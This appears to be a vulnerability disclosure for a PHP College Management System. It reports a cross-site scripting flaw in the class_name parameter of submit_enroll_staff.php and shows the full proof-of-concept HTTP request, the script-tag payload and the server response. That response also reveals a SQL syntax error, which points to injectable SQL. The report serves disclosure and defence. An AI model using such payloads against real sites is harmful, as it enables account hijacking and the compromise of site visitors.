

XSS injection vulnerability exists in class\_name parameter of submit\_enroll\_staff.php file of College Management System

With XSS, cybercriminals can turn trusted websites into malicious ones, thus causing inordinate harm and damage not only to the victims but also to the reputation of the trusted website's owner.

Websites that are compromised by XSS can cause any number of threats to attack a user's system. This can involve anything from inappropriate content being displayed to malware being downloaded onto the system without the user knowing.

The screenshot shows the Network tab of a web browser's developer tools. The selected request is a POST to /cmsa/submit\_enroll\_staff.php. The response is an HTTP 200 OK from nginx/1.15.11. The response body contains an error message and a SQL query. A red arrow points from the payload in the request to the alert function in the response.

**Request:**

```
1 POST /cmsa/submit_enroll_staff.php HTTP/1.1
2 Host: 192.168.30.1
3 Upgrade-Insecure-Requests: 1
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
  AppleWebKit/537.36 (KHTML, like Gecko)
  Chrome/107.0.5304.107 Safari/537.36
5 Accept:
  text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,
  image/webp,image/apng,*/*;q=0.8,application/signal-exchange;v=b3;q=0.9
6 Referer: http://192.168.30.1/cmsa/admin_dashboard.php
7 Accept-Encoding: gzip, deflate
8 Accept-Language: en-US,en;q=0.9
9 Cookie: PHPSESSID=isg5f6hegbhbj4p6kbiu51g90
10 Connection: close
11 Content-Type: application/x-www-form-urlencoded
12 Content-Length: 117
13
14 class_name=MCA'')(%26%25<zzz><ScRiPt%20>alert(9494)</ScRiPt>&
  faculty_name=teacher1&subject_name=DSA&usertype=ZMskyuza
```

**Response:**

```
1 HTTP/1.1 200 OK
2 Server: nginx/1.15.11
3 Date: Thu, 23 May 2024 14:39:41 GMT
4 Content-Type: text/html; charset=UTF-8
5 Connection: close
6 X-Powered-By: PHP/7.3.4
7 Content-Length: 460
8
9 Error: UPDATE faculty
10 SET register_no =
  'REG2024052360AF',class_name='MCA'')&%<zzz>
  <ScRiPt >
  alert(9494)
  </ScRiPt>
  ',subject_name='DSA'
11 WHERE faculty_name = 'teacher1' AND usertype =
  'ZMskyuza';
12 <br>
  You have an error in your SQL syntax; check the manual
  that corresponds to your MySQL server version for the
  right syntax to use near '')&%<zzz>
  <ScRiPt >
  alert(9494)
  </ScRiPt>
  ',subject_name='DSA'
13 WHERE faculty_n' at line 2
14
```

Payload: class\_name=MCA'')(%26%25<zzz><ScRiPt%20>alert(9494)</ScRiPt>

Source Download:

<https://www.kashipara.com/project/php/12746/college-management-system-php-project-source-code>